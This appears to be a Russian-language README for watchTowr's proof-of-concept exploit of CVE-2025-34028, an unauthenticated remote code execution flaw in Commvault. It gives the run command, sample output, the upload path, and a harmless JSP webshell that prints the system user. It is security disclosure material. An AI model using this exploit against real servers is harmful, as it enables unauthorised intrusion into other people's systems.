watchtowrlabs/watchtowr-vs-commvault-preauth-rce-cve-2025-34028Эксплойт типа proof-of-concept для CVE-2025-34028, демонстрирующий удаленное выполнение кода без аутентификации на веб-интерфейсах Commvault через вредоносную загрузку JSP.
Концепт-доказательство удаленного выполнения кода без аутентификации для Commvault
Подробности см. в нашей записи в блоге
python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchtowr-vs-commvault-rce-CVE-2025-34028.py
(*) Commvault Unauthenticated Remote Code Execution (CVE-2025-34028) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-34028]
[*] Targeting https://192.168.1.1
[*] Verifying presence of Commvault
[*] Uploading to /reports/MetricsUpload/2GfMIJdK/
[*] Fetching System User from https://192.168.1.1/reports/MetricsUpload/2GfMIJdK/.tmp/dist-cc/dist-cc/shell.jsp
[*] System User EC2XXX-XXXXXXX$
Этот скрипт является концепт-доказательством для CVE-2025-34028, предназначенным для веб-интерфейсов Commvault. Загружая zip-файл, содержащий .jsp-файл для выполнения кода, zip-файл загружается в общедоступную директорию, и системный пользователь отображается в ответе. Более подробная информация приведена в нашей записи в блоге.
Скрипт PoC использует жестко заданный zip-файл, содержащий следующие файлы:
Содержимое Shell.jsp:
<%@ page import="java.util.*" %>
<html>
<body>
<h3>System Information</h3>
<p>Current User: <%= System.getProperty("user.name") %></p>
</body>
</html>
Подробнее см. в уведомлении Commvault
За последними исследованиями в области безопасности следите за командой лаборатории watchTowr